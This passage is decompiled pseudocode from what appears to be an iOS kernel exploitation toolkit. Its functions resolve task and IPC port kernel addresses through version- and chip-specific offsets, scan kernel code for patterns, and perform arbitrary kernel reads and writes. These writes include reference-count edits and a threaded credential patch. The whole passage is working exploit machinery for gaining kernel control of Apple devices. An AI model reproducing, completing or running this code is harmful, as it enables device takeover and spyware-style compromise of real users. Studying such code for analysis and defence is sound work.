    v6 = v12;
  }
  *(uint64_t *)(a1 + 928) = v6;
  result = kread_physmap_decorated(
             (struct_krwCtx *)a1,
             v11 + (unsigned int)(2 * *(uint32_t *)(a1 + 360)),
             (unsigned __int64 *)&v13);
  if ( (uint32_t)result )
  {
    if ( (unsigned __int64)(v13 + 1) < 2 || validate_kaddr_range(a1, v13) )
      goto LABEL_23;
    v9 = *(uint64_t *)(a1 + 344);
    if ( v9 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
    {
      if ( (*(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 && (v13 & 0x7FFFFFFFFFLL) == 0 )
      {
        v13 = 0;
      }
      else if ( v9 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      {
        return 0;
      }
LABEL_23:
      if ( *(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) || (*(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 )
      {
        v7 = v13;
        *(uint64_t *)(a1 + 936) = v13;
        goto LABEL_28;
      }
      result = kread64_internal((struct_krwCtx *)a1, v11 + (unsigned int)(2 * *(uint32_t *)(a1 + 360)), &v10);
      if ( (uint32_t)result )
      {
        *(uint64_t *)(a1 + 936) = v10;
        v7 = v13;
LABEL_28:
        *(uint64_t *)(a1 + 912) = v12;
        *(uint64_t *)(a1 + 920) = v7;
        *(uint64_t *)(a1 + 888) = 0x100000000LL;
        *(uint64_t *)(a1 + 6384) = v11;
        *(uint32_t *)(a1 + 6392) = 0;
        return 1;
      }
      return result;
    }
    return 0;
  }
  return result;
}

//----- (0000000000034D14) ----------------------------------------------------
__int64 __fastcall necp_set_opt_string_6(struct_krwCtx *a1, unsigned int a2)
{
  __int64 result; // x0

  result = get_task_kobject_addr(a1, a2);
  if ( result )
  {
    result = kread_task_port_entry((__int64)a1, result);
    if ( (uint32_t)result )
    {
      *(uint32_t *)((char *)a1 + 6392) = a2;
      return 1;
    }
  }
  return result;
}

//----- (0000000000034D58) ----------------------------------------------------
unsigned __int64 __fastcall get_task_port_kaddr(struct_krwCtx *a1, unsigned int a2, int a3)
{
  unsigned __int64 result; // x0
  unsigned __int64 v5; // x8
  int xnuMajorVersion; // w9
  int v7; // w10
  unsigned __int64 v8; // x19
  int v9; // w8
  unsigned __int64 v10; // x21
  int v11; // w0
  __int64 v12; // x9
  __int64 v13; // x10
  __int64 v14; // x8
  bool v15; // zf
  __int64 v16; // x9
  int has_flag; // w0
  unsigned __int64 xnuVersionPacked; // x8
  bool v19; // cc

  if ( a3 )
  {
    result = kread_physmap_two_hops(a1, a2);
    if ( !result )
      return result;
    v5 = result;
    result = 0;
    xnuMajorVersion = a1->xnuMajorVersion;
    if ( xnuMajorVersion > 8795 )
    {
      if ( xnuMajorVersion != 10002 )
      {
        v7 = 8796;
LABEL_20:
        if ( xnuMajorVersion != v7 )
          return result;
      }
    }
    else if ( xnuMajorVersion != 8020 )
    {
      v7 = 8792;
      goto LABEL_20;
    }
    return v5 + 120;
  }
  result = get_task_kobject_addr(a1, a2);
  if ( !result )
    return result;
  v8 = result;
  result = 0;
  v9 = a1->xnuMajorVersion;
  if ( v9 <= 8791 )
  {
    if ( (unsigned int)(v9 - 8019) < 2 )
    {
      if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15) )
      {
        v14 = 1052;
        if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          v14 = 1004;
        return v14 + v8;
      }
      has_flag = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK);
      xnuVersionPacked = a1->xnuVersionPacked;
      v16 = 1000;
      if ( xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
        v16 = 952;
      v19 = xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);
      v14 = 1036;
      if ( v19 )
        v14 = 988;
      v15 = !has_flag;
    }
    else
    {
      if ( v9 != 6153 )
      {
        if ( v9 != 7195 )
          return result;
        v10 = a1->xnuVersionPacked;
        v11 = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK);
        v12 = 1012;
        if ( !v11 )
          v12 = 984;
        v13 = 1028;
        if ( !v11 )
          v13 = 992;
        if ( v10 >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
          v14 = v13;
        else
          v14 = v12;
        return v14 + v8;
      }
      v15 = !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK);
      v14 = 960;
      v16 = 952;
    }
    goto LABEL_38;
  }
  if ( v9 == 8792 || v9 == 8796 || v9 == 10002 )
  {
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK) )
    {
      v14 = 976;
      return v14 + v8;
    }
    v15 = !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK);
    v14 = 952;
    v16 = 928;
LABEL_38:
    if ( v15 )
      v14 = v16;
    return v14 + v8;
  }
  return result;
}

//----- (0000000000034F5C) ----------------------------------------------------
unsigned __int64 __fastcall get_task_port_kaddr_checked(struct_krwCtx *a1, unsigned int a2, int a3, unsigned int *a4)
{
  unsigned __int64 v7; // x19
  unsigned int v8; // w9
  unsigned int v10; // [xsp+Ch] [xbp-24h] BYREF

  v10 = 0;
  v7 = get_task_port_kaddr(a1, a2, a3);
  if ( !v7 )
    return v7;
  if ( !kread_u32((__int64)a1, v7, &v10) )
    return 0;
  if ( a1->xnuMajorVersion < 4904 )
  {
    v8 = HIBYTE(v10);
  }
  else
  {
    v8 = v10 & 3;
    if ( !a3 )
    {
      if ( v8 == 3 )
        goto LABEL_6;
      return 0;
    }
  }
  if ( v8 )
    return 0;
LABEL_6:
  if ( a4 )
    *a4 = v10;
  return v7;
}

//----- (0000000000034FF8) ----------------------------------------------------
unsigned __int64 __fastcall get_task_port_kaddr_wrap(struct_krwCtx *a1, unsigned int a2, unsigned int *a3)
{
  return get_task_port_kaddr_checked(a1, a2, 0, a3);
}

//----- (0000000000035004) ----------------------------------------------------
__int64 __fastcall find_proc_kobj_via_processors(__int64 a1, int a2, __int64 a3, unsigned int *a4)
{
  __int64 v8; // x26
  int v9; // w8
  __int64 v10; // x23
  __int64 v11; // x24
  __int64 v12; // x27
  __int64 v15; // x0
  __int64 v16; // x0
  unsigned __int64 v17; // x0
  unsigned __int64 v18; // x24
  mach_msg_type_number_t v19; // w25
  unsigned int v20; // w28
  unsigned __int64 v21; // x8
  kern_return_t v22; // w0
  mach_msg_type_number_t v23; // w8
  unsigned __int64 v24; // x28
  unsigned int v25; // w25
  unsigned __int64 v26; // x0
  unsigned __int64 v27; // x23
  unsigned __int64 v28; // x20
  vm_size_t v29; // x2
  mach_msg_type_number_t v31; // [xsp+4h] [xbp-8Ch]
  __int64 v32; // [xsp+8h] [xbp-88h] BYREF
  unsigned __int64 v33; // [xsp+10h] [xbp-80h] BYREF
  mach_msg_type_number_t out_processor_listCnt; // [xsp+1Ch] [xbp-74h] BYREF
  processor_array_t out_processor_list; // [xsp+20h] [xbp-70h] BYREF
  uint64_t v36[3]; // [xsp+28h] [xbp-68h] BYREF

  v8 = 163855;
  out_processor_list = 0;
  out_processor_listCnt = 0;
  v32 = 0;
  v33 = 0;
  v9 = *(uint32_t *)(a1 + 320);
  v10 = 163847;
  if ( v9 > 8791 )
  {
    if ( v9 != 8792 && v9 != 8796 && v9 != 10002 )
      return v10;
    goto LABEL_17;
  }
  if ( (unsigned int)(v9 - 8019) < 2 )
  {
LABEL_17:
    if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A17) )
      v12 = 15676;
    else
      v12 = 2220;
    if ( *(int *)(a1 + 320) >= 8019 )
    {
      v15 = *(uint64_t *)(a1 + 6648);
      if ( !v15 )
        return 708625;
      macho_find_text_section(v15, v36);
      v16 = kernel_pattern_scan((__int64)v36, "14 D9 33 F8", 0);
      if ( !v16 )
        return 708625;
      v10 = 708620;
      v17 = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(v16 - 8));
      if ( !v17 )
        return 708625;
      v18 = v17;
      out_processor_listCnt = number_of_cpus();
      v31 = out_processor_listCnt;
      if ( out_processor_listCnt )
      {
        v19 = 0;
        v20 = 0;
        do
        {
          if ( !kread_physmap_decorated((struct_krwCtx *)a1, v18 + *(uint32_t *)(a1 + 360) * v19, &v33) )
            return 163855;
          if ( v33 )
          {
            if ( !validate_kaddr_range(a1, v33) )
              return 163878;
            v21 = v33;
          }
          else
          {
            v21 = 0;
          }
          if ( !kread_physmap_decorated((struct_krwCtx *)a1, v21 + 40, (unsigned __int64 *)&v32) )
            return 163855;
          if ( !validate_kaddr_range(a1, v32) )
            return 163878;
          if ( !kread_u32(a1, v32 + v12, v36) )
            return 163855;
          if ( (unsigned int)(LODWORD(v36[0]) - 1) > 1 )
            return 163857;
          if ( LODWORD(v36[0]) == a2 )
          {
            if ( v20 >= *a4 )
              return v10;
            *(uint64_t *)(a3 + 8LL * v20++) = v33;
          }
          ++v19;
        }
        while ( v19 < v31 );
      }
      else
      {
        v20 = 0;
      }
      v10 = 0;
      *a4 = v20;
      return v10;
    }
    v11 = 40;
    goto LABEL_43;
  }
  if ( v9 == 6153 )
  {
    v12 = 1092;
    v11 = 32;
  }
  else
  {
    if ( v9 != 7195 )
      return v10;
    if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(7195, 80, 15, 1023, 1023) )
      v11 = 32;
    else
      v11 = 40;
    v12 = 1204;
  }
LABEL_43:
  v22 = host_processors(*(uint32_t *)(a1 + 6432), &out_processor_list, &out_processor_listCnt);
  if ( v22 )
    return v22 | 0x80000000;
  v23 = out_processor_listCnt;
  if ( !out_processor_listCnt )
  {
    v25 = 0;
LABEL_58:
    v10 = 0;
    *a4 = v25;
    goto LABEL_69;
  }
  v24 = 0;
  v25 = 0;
  while ( 1 )
  {
    v26 = get_task_kobject_addr((struct_krwCtx *)a1, out_processor_list[v24]);
    v33 = v26;
    if ( !v26 )
    {
      v8 = 163854;
      goto LABEL_68;
    }
    v27 = v26;
    if ( !kread_physmap_decorated((struct_krwCtx *)a1, v26 + v11, (unsigned __int64 *)&v32) )
      goto LABEL_68;
    if ( !validate_kaddr_range(a1, v32) )
    {
      v8 = 163878;
      goto LABEL_68;
    }
    if ( !kread_u32(a1, v32 + v12, v36) )
      goto LABEL_68;
    if ( (unsigned int)(LODWORD(v36[0]) - 1) > 1 )
    {
      v8 = 163857;
      goto LABEL_68;
    }
    if ( LODWORD(v36[0]) == a2 )
      break;
LABEL_55:
    ++v24;
    v23 = out_processor_listCnt;
    if ( v24 >= out_processor_listCnt )
      goto LABEL_58;
  }
  if ( v25 < *a4 )
  {
    *(uint64_t *)(a3 + 8LL * v25++) = v27;
    goto LABEL_55;
  }
  v8 = 708620;
LABEL_68:
  v23 = out_processor_listCnt;
  v10 = v8;
LABEL_69:
  if ( v23 )
  {
    v28 = 0;
    do
      mach_port_deallocate(mach_task_self_, out_processor_list[v28++]);
    while ( v28 < out_processor_listCnt );
    v29 = 4LL * out_processor_listCnt;
  }
  else
  {
    v29 = 0;
  }
  vm_deallocate(mach_task_self_, (vm_address_t)out_processor_list, v29);
  return v10;
}

//----- (00000000000353DC) ----------------------------------------------------
__int64 __fastcall get_task_port_offset(__int64 a1)
{
  int v1; // w8

  v1 = *(uint32_t *)(a1 + 320);
  if ( (unsigned int)(v1 - 8019) < 2 )
    return 96LL;
  if ( v1 == 6153 )
    return 88LL;
  if ( v1 == 7195 )
    return 96LL;
  return 0LL;
}

//----- (0000000000035420) ----------------------------------------------------
__int64 __fastcall get_task_version_field(__int64 a1, __int64 a2)
{
  __int64 result; // x0
  int v4; // w8
  bool v5; // zf
  int v6; // w9
  __int64 v8; // x8

  result = 0LL;
  v4 = *(uint32_t *)(a1 + 320);
  if ( v4 <= 8019 )
  {
    if ( v4 == 6153 || v4 == 7195 )
    {
      v8 = 64LL;
    }
    else
    {
      if ( v4 != 8019 )
        return result;
      v8 = 48LL;
    }
    return v8 + a2;
  }
  if ( v4 > 8795 )
  {
    v5 = v4 == 8796;
    v6 = 10002;
  }
  else
  {
    v5 = v4 == 8020;
    v6 = 8792;
  }
  if ( v5 || v4 == v6 )
  {
    v8 = 32LL;
    return v8 + a2;
  }
  return result;
}

//----- (00000000000354A4) ----------------------------------------------------
unsigned __int64 __fastcall get_mach_task_port_slot(struct_krwCtx *a1, unsigned int a2)
{
  unsigned __int64 result; // x0
  __int64 vars8; // [xsp+18h] [xbp+8h]

  result = task_get_ipc_port(a1, mach_task_self_, a2);
  if ( result )
  {
    return get_task_version_field((__int64)a1, result);
  }
  return result;
}
// 354E4: variable 'vars8' is possibly undefined

//----- (0000000000035500) ----------------------------------------------------
__int64 __fastcall kread_mach_task_port_slot(struct_krwCtx *a1, unsigned int a2)
{
  __int64 result; // x0
  __int64 v4; // [xsp+8h] [xbp-18h] BYREF

  result = get_mach_task_port_slot(a1, a2);
  v4 = result;
  if ( result )
  {
    if ( kread_physmap_decorated(a1, result, (unsigned __int64 *)&v4) )
    {
      if ( validate_kaddr_range((__int64)a1, v4) )
        return v4;
      else
        return 0;
    }
    else
    {
      return 0;
    }
  }
  return result;
}

//----- (0000000000035568) ----------------------------------------------------
__int64 __fastcall kread_mach_task_port_slot_plus80(struct_krwCtx *a1, unsigned int a2)
{
  __int64 result; // x0
  unsigned __int64 xnuVersionPacked; // x8
  unsigned __int64 v5; // x1
  bool v6; // cc
  __int64 v7; // x8
  __int64 v8; // [xsp+8h] [xbp-18h] BYREF

  result = kread_mach_task_port_slot(a1, a2);
  v8 = result;
  if ( result )
  {
    xnuVersionPacked = a1->xnuVersionPacked;
    if ( xnuVersionPacked < XNU_VERSION_PACKED(7195, 42, 1, 0, 0) )
    {
      v5 = result + 24;
    }
    else
    {
      if ( xnuVersionPacked >> 43 >= 0x44B )
        return result + 80;
      v6 = xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023);
      v7 = 32;
      if ( v6 )
        v7 = 24;
      v5 = v7 + result;
    }
    if ( kread_physmap_decorated(a1, v5, (unsigned __int64 *)&v8) )
      return v8;
    return 0;
  }
  return result;
}

//----- (0000000000035610) ----------------------------------------------------
unsigned __int64 __fastcall get_ipc_port_kaddr_via_host(__int64 a1, int a2)
{
  unsigned __int64 v4; // x1
  unsigned __int64 v5; // x0
  unsigned int v6; // w0
  unsigned __int64 ipc_port; // x0
  unsigned __int64 v9; // [xsp+8h] [xbp-18h] BYREF

  v4 = *(uint64_t *)(a1 + 424);
  if ( !v4 )
  {
    v6 = get_privileged_host_port(a1);
    if ( v6 + 1 < 2 )
      return 0;
    ipc_port = task_get_ipc_port((struct_krwCtx *)a1, mach_task_self_, v6);
    v4 = ipc_port;
    if ( !ipc_port )
      return v4;
    *(uint64_t *)(a1 + 424) = ipc_port;
  }
  if ( a2 == 1 )
    return v4;
  v5 = maybe_ipc_port_get_kobject((struct_krwCtx *)a1, v4);
  if ( !v5 )
    return 0;
  if ( kread_physmap_decorated((struct_krwCtx *)a1, v5 + (unsigned int)(*(uint32_t *)(a1 + 360) * a2) + 16, &v9) )
    return v9;
  else
    return 0;
}

//----- (00000000000356C8) ----------------------------------------------------
__int64 __fastcall get_task_bsd_info_kaddr(struct_krwCtx *a1, unsigned int a2, __int64 *a3)
{
  __int64 v5; // x19
  int xnuMajorVersion; // w8
  unsigned __int64 v9; // x0
  __int64 v11; // [xsp+8h] [xbp-28h] BYREF

  v5 = 163847;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion > 8018 )
  {
    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 8792 )
      return v5;
LABEL_12:
    v9 = get_task_kobject_addr(a1, a2);
    if ( !v9 )
      return 163877;
    if ( !kread_physmap_decorated(a1, v9 + 56, (unsigned __int64 *)&v11) )
      return 163855;
    if ( !validate_kaddr_range((__int64)a1, v11) )
      return 163878;
    v5 = 0;
    *a3 = v11;
    return v5;
  }
  if ( xnuMajorVersion == 6153 || xnuMajorVersion == 7195 )
    goto LABEL_12;
  return v5;
}

//----- (000000000003579C) ----------------------------------------------------
__int64 __fastcall get_port_set_kaddr(struct_krwCtx *a1, int a2, __int64 *a3)
{
  __int64 v6; // x22
  int xnuMajorVersion; // w8
  __int64 result; // x0
  int v9; // w9
  __int64 v11; // x23
  unsigned __int64 v12; // x0
  unsigned __int64 v13; // x1
  __int64 v14; // [xsp+8h] [xbp-48h] BYREF
  __int64 v15; // [xsp+10h] [xbp-40h] BYREF
  unsigned __int64 v16; // [xsp+18h] [xbp-38h] BYREF

  v6 = 163855;
  xnuMajorVersion = a1->xnuMajorVersion;
  result = 163884;
  if ( xnuMajorVersion <= 8791 )
  {
    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 )
    {
      if ( xnuMajorVersion == 6153 )
      {
        v11 = 264;
        goto LABEL_16;
      }
      v9 = 7195;
      goto LABEL_13;
    }
LABEL_10:
    if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      v11 = 256;
    else
      v11 = 248;
    goto LABEL_16;
  }
  if ( xnuMajorVersion == 8792 || xnuMajorVersion == 8796 )
    goto LABEL_10;
  v9 = 10002;
LABEL_13:
  if ( xnuMajorVersion != v9 )
    return result;
  v11 = 248;
LABEL_16:
  v12 = kread_task_struct(a1, mach_task_self_);
  if ( !v12 )
    return 163854;
  if ( kread_physmap_decorated(a1, v12 + v11, &v16) )
  {
    if ( !validate_kaddr_range((__int64)a1, v16) )
      return 163878;
    v13 = v16;
    if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
    {
      if ( !kread_physmap_decorated(a1, v16, (unsigned __int64 *)&v15) )
        return v6;
      if ( !validate_kaddr_range((__int64)a1, v15) )
        return 163878;
      v13 = v15;
    }
    else
    {
      v15 = v16;
    }
    if ( kread_physmap_decorated(a1, v13 + a1->stride168 * (__int64)a2, (unsigned __int64 *)&v14) )
    {
      if ( validate_kaddr_range((__int64)a1, v14) )
      {
        v6 = 0;
        *a3 = v14;
        return v6;
      }
      return 163878;
    }
  }
  return v6;
}

//----- (0000000000035938) ----------------------------------------------------
__int64 __fastcall validate_port_set_chain(struct_krwCtx *a1, int a2, __int64 *a3)
{
  int xnuMajorVersion; // w8
  __int64 result; // x0
  bool v7; // zf
  int v8; // w9
  int v10; // w8
  __int64 v11; // [xsp+8h] [xbp-38h] BYREF
  __int64 v12; // [xsp+10h] [xbp-30h] BYREF
  __int64 v13; // [xsp+18h] [xbp-28h] BYREF

  xnuMajorVersion = a1->xnuMajorVersion;
  result = 163884;
  if ( xnuMajorVersion > 8791 )
  {
    v7 = xnuMajorVersion == 8792 || xnuMajorVersion == 10002;
    v8 = 8796;
  }
  else
  {
    v7 = (unsigned int)(xnuMajorVersion - 8019) < 2 || xnuMajorVersion == 6153;
    v8 = 7195;
  }
  if ( v7 || xnuMajorVersion == v8 )
  {
    result = get_port_set_kaddr(a1, a2, &v13);
    if ( !(uint32_t)result )
    {
      if ( !kread_physmap_decorated(a1, v13 + 16, (unsigned __int64 *)&v12) )
        return 163855;
      if ( validate_kaddr_range((__int64)a1, v12) )
      {
        v10 = kread_physmap_decorated(a1, v12 + 56, (unsigned __int64 *)&v11);
        result = 163855;
        if ( !v10 )
          return result;
        if ( validate_kaddr_range((__int64)a1, v11) )
        {
          result = 0;
          *a3 = v11;
          return result;
        }
      }
      return 163878;
    }
  }
  return result;
}

//----- (0000000000035A50) ----------------------------------------------------
unsigned __int64 __fastcall kernel_va_base_resolver(struct_krwCtx *a1, int a2, uint32_t *a3)
{
  unsigned __int64 v3; // x20

  if ( a2 )
    return 0;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER) )
  {
    v3 = 0xFFFFFE0000000000LL;
  }
  else
  {
    v3 = 0xFFFFFFE000000000LL;
    if ( a1->xnuVersionPacked >= XNU_VERSION_PACKED(8792, 80, 25, 0, 0) && !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A9) )
      v3 = 0xFFFFFFDC00000000LL;
  }
  *a3 = 6;
  return v3;
}

//----- (0000000000035AE0) ----------------------------------------------------
int __fastcall necp_set_opt_string_7(struct_krwCtx *a1, unsigned int a2, __int64 a3)
{
    __int64 v3; // x19
    __int64 v7; // x19
    unsigned __int64 v8; // x8
    mach_vm_address_t v9; // x1
    __int64 v10; // x8
    unsigned int v11; // w10
    __int64 v12; // x2
    __int64 v13; // x1
    unsigned __int64 v14; // x9
    __int64 v15; // x10
    __int64 v16; // x11
    int v17; // w0
    int v18; // w8
    int v19; // w0
    void *(__cdecl *v20)(void *); // x0
    int v21; // w8
    __int64 v22; // [xsp+0h] [xbp-80h] BYREF
    unsigned int v23; // [xsp+8h] [xbp-78h]
    unsigned int v24; // [xsp+Ch] [xbp-74h]
    pthread_t v25; // [xsp+10h] [xbp-70h] BYREF
    pthread_attr_t v26; // [xsp+18h] [xbp-68h] BYREF
    __int64 vars8; // [xsp+88h] [xbp+8h]

    if ( a2 > 6 )
      return 0LL;
    v7 = a1;
    v8 = *(uint64_t *)(a1 + 344);
    if ( v8 >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
    {
      v9 = a1->gap191[688] + a1->stride168 * (a2 + 1);
      return kwrite64_dispatch(a1, v9, a3);
    }
    if ( a3 )
    {
      if ( (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 && krw_xpac_vaddr_2(a1, a3) == a3 )
        return 0LL;
    }
    else if ( v8 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0) && (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
    {
      v10 = *(uint64_t *)(a1 + 6384);
      if ( *(uint64_t *)(a1 + 944) != v10 )
      {
        v14 = -1LL;
        v15 = 1008LL;
        while ( v14 != 6 )
        {
          v16 = *(uint64_t *)(a1 + v15);
          ++v14;
          v15 += 64LL;
          if ( v16 == v10 )
          {
            if ( v14 < 7 )
            {
              v11 = v14 + 1;
              goto LABEL_16;
            }
            break;
          }
        }
        v17 = pthread_attr_init(&v26);
        if ( v17 )
        {
          if ( v17 >= 0 )
            v18 = v17;
          else
            v18 = -v17;
          return v18 | 0x40000000u;
        }
        else
        {
          v19 = pthread_attr_setdetachstate(&v26, 1);
          if ( v19
            || (v25 = 0LL,
                v22 = v7,
                v23 = a2,
                v24 = 4097,
                v20 = (void *(__cdecl *)(void *))nullsub_1(task_thread_port_cred_patch),
                (v19 = pthread_create(&v25, &v26, v20, &v22)) != 0)
            || (v19 = pthread_join(v25, 0LL)) != 0 )
          {
            if ( v19 >= 0 )
              v21 = v19;
            else
              v21 = -v19;
            v3 = v21 | 0x40000000u;
          }
          else
          {
            v3 = v24;
          }
          pthread_attr_destroy(&v26);
        }
        return v3;
      }
      v11 = 0;
  LABEL_16:
      v12 = *(uint64_t *)(a1 + ((unsigned __int64)v11 << 6) + 8LL * a2 + 952);
      v13 = v10 + *(uint32_t *)(a1 + 360) * (a2 + 1);
      goto LABEL_18;
    }
    v13 = *(uint64_t *)(v7 + 6384) + *(uint32_t *)(v7 + 360) * (a2 + 1);
    a1 = v7;
    v12 = a3;
  LABEL_18:
    return kwrite64(a1, v13, v12);
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000035D94) ----------------------------------------------------
mach_vm_address_t __fastcall ipc_port_kread_and_vm_attr(__int64 a1, __int64 a2, int a3)
{
  mach_vm_address_t result; // x0
  mach_vm_address_t v6; // x21
  unsigned int v7; // [xsp+Ch] [xbp-24h] BYREF

  result = get_ipc_port_offset_by_version(a1, a2);
  if ( result )
  {
    v6 = result;
    result = kread_u32(a1, result, &v7);
    if ( (uint32_t)result )
      return v7 <= 0x80000000 && noppl_kwrite32(a1, v6, v7 + a3);
  }
  return result;
}

//----- (0000000000035E18) ----------------------------------------------------
__int64 __fastcall kread_modify_u32_with_delta(struct_krwCtx *a1, __int64 a2, int a3)
{
  __int64 v5; // x20
  __int64 result; // x0
  int v7; // [xsp+Ch] [xbp-24h] BYREF

  v5 = a2 + 4;
  result = krw_read_thunk(a1, a2 + 4, 4, &v7);
  if ( (uint32_t)result )
  {
    v7 += a3;
    return (unsigned int)kwrite_with_retry((__int64)a1, v5, (__int64)&v7, 4) != 0;
  }
  return result;
}

//----- (0000000000035E8C) ----------------------------------------------------
__int64 __fastcall kread_and_vm_attr_double(struct_krwCtx *a1, __int64 a2)
{
  kread_modify_u32_with_delta(a1, a2, 1);
  ipc_port_kread_and_vm_attr((__int64)a1, a2, 1);
  return 0;
}

//----- (0000000000035ECC) ----------------------------------------------------
__int64 __fastcall vm_attr_increment_offset_bounded(struct_krwCtx *a1, unsigned __int64 a2, int a3)
{
  mach_vm_address_t v6; // x22
  __int64 result; // x0
  __int64 v8; // x21
  __int64 v9; // [xsp+0h] [xbp-30h] BYREF
  int v10; // [xsp+Ch] [xbp-24h] BYREF

  v6 = a2 + 16;
  result = kread_u32((__int64)a1, a2 + 16, &v10);
  if ( (uint32_t)result )
  {
    if ( (unsigned int)(v10 - 1) >> 20 )
      return 0;
    result = ppl_kwrite32(a1, v6, v10 + a3);
    if ( !(uint32_t)result )
      return result;
    if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
      return 1;
    result = kread_physmap_decorated(a1, a2, (unsigned __int64 *)&v9);
    if ( (uint32_t)result )
    {
      result = validate_kaddr_range((__int64)a1, v9);
      if ( result )
      {
        v8 = a1->xnuMajorVersion <= 10001 ? 24LL : 0LL;
        result = kread_u32((__int64)a1, v8 + v9, &v10);
        if ( (uint32_t)result )
        {
          if ( !((unsigned int)(v10 - 1) >> 20) )
          {
            result = noppl_kwrite32((__int64)a1, v9 + v8, v10 + a3);
            if ( !(uint32_t)result )
              return result;
            return 1;
          }
          return 0;
        }
      }
    }
  }
  return result;
}

//----- (0000000000035FD8) ----------------------------------------------------
__int64 __fastcall vm_attr_increment_offset_check(struct_krwCtx *a1, unsigned __int64 a2)
{
  if ( (unsigned int)vm_attr_increment_offset_bounded(a1, a2, 16) )
    return 0;
  else
    return 4097;
}

//----- (0000000000036000) ----------------------------------------------------
__int64 __fastcall vm_attr_field_offset_add4_check(__int64 a1, __int64 a2)
{
  __int64 v3; // x19
  mach_vm_address_t v4; // x21
  int v6; // [xsp+Ch] [xbp-24h] BYREF

  v3 = 163855;
  v4 = a2 + 16;
  if ( kread_u32(a1, a2 + 16, &v6) )
  {
    if ( v6 )
    {
      if ( noppl_kwrite32(a1, v4, v6 + 4) )
        return 0;
      else
        return 163856;
    }
    else
    {
      return 163857;
    }
  }
  return v3;
}

//----- (0000000000036078) ----------------------------------------------------
uint32_t *__fastcall sub_36078(uint32_t *result, int a2)
{
  *result |= a2;
  return result;
}

//----- (0000000000036088) ----------------------------------------------------
uint32_t *__fastcall krw_ctx_clr_flag(uint32_t *result, int a2)
{
  *result &= ~a2;
  return result;
}

//----- (0000000000036098) ----------------------------------------------------
bool __fastcall krw_ctx_has_flag(struct_krwCtx *krwCtx, int flag)
{
  return (krwCtx->flags & flag) != 0;
}

//----- (00000000000360A8) ----------------------------------------------------
__int64 __fastcall get_task_struct_offset_cached(__int64 a1)
{
  __int64 result; // x0
  __int64 v3; // x1
  mach_vm_address_t v4; // x20
  int v5; // [xsp+4h] [xbp-1Ch] BYREF
  __int64 v6; // [xsp+8h] [xbp-18h] BYREF

  v6 = 0;
  result = *(uint64_t *)(a1 + 528);
  if ( !result )
  {
    v3 = *(uint64_t *)(a1 + 6608);
    if ( v3 )
    {
      result = get_task_struct_offset(a1, v3);
      if ( !result )
        return result;
      v4 = result;
      if ( kread_physmap_decorated((struct_krwCtx *)a1, result, (unsigned __int64 *)&v6) )
      {
        if ( v6 )
        {
          result = validate_kaddr_range(a1, v6);
          if ( !result )
            return result;
LABEL_10:
          result = v6;
          *(uint64_t *)(a1 + 528) = v6;
          return result;
        }
        v5 = 512;
        result = alloc_physmap_scratch_page(a1, &v5);
        v6 = result;
        if ( !result )
          return result;
        if ( kwrite64((struct_krwCtx *)a1, v4, result) )
          goto LABEL_10;
      }
    }
    return 0;
  }
  return result;
}

//----- (0000000000036160) ----------------------------------------------------
__int64 __fastcall lookup_physmap_page_slot(struct_krwCtx *a1, unsigned int a2, __int64 *a3)
{
  __int64 result; // x0
  __int64 v7; // [xsp+8h] [xbp-28h] BYREF

  if ( a2 > 0xD )
    return 0;
  result = get_task_struct_offset_cached((__int64)a1);
  v7 = result;
  if ( result )
  {
    result = kread_physmap_decorated(a1, result + a1->stride168 * a2, (unsigned __int64 *)&v7);
    if ( (uint32_t)result )
    {
      *a3 = v7;
      return 1;
    }
  }
  return result;
}

//----- (00000000000361DC) ----------------------------------------------------
__int64 __fastcall cache_physmap_page_slot(__int64 a1, unsigned int a2, __int64 a3)
{
  __int64 result; // x0
  __int64 v6; // x20
  __int64 v7; // [xsp+8h] [xbp-28h] BYREF

  v7 = a3;
  if ( a2 > 0xD )
    return 0;
  v6 = *(unsigned int *)(a1 + 360);
  result = get_task_struct_offset_cached(a1);
  if ( result )
    return kwrite_with_retry(a1, result + (unsigned int)v6 * a2, (__int64)&v7, v6);
  return result;
}
